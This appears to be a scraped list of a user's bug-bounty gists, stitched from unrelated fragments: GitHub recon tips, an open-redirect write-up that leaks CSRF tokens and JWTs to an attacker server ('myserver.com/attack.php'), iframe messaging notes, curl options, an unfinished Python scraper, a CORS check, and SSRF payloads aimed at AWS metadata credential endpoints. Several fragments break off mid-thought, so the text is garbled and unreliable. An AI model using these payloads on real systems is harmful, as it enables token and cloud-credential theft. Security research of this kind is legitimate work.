Muhamamd Adib Dzulfikar adibdz

Android Bypass Certificate Pinning and MitM Attack Setup

This is a gist used in the following blog posts:

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

Description

This is a simple guide to perform javascript recon in the bugbounty

Steps

The first step is to collect possibly several javascript files (more files = more paths,parameters -> more vulns)

You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
User loads https://example.com/?code=VALUE
Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user
```
GET /verify/VALUE HTTP/1.1
Host: example.com
```

Two way iframe communication

The main difference between the two pages is the method of sending messages. Recieving messages is the same in both.

Parent

Send messages to iframe using iframeEl.contentWindow.postMessage Recieve messages using window.addEventListener('message')

iframe

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

	import requests
	import re
	import sys
	from multiprocessing.dummy import Pool


	def robots(host):
	r = requests.get(
	'https://web.archive.org/cdx/search/cdx\
	?url=%s/robots.txt&output=json&fl=timestamp,original&filter=statuscode:200&collapse=digest' % host)

	curl -I -X OPTIONS \
	-H "Origin: http://EXAMPLE.COM" \
	-H 'Access-Control-Request-Method: GET' \
	http://EXAMPLE.COM/SOMETHING 2>&1 \| grep 'Access-Control-Allow-Origin'

	## IPv6 Tests
	http://[::ffff:169.254.169.254]
	http://[0:0:0:0:0:ffff:169.254.169.254]

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]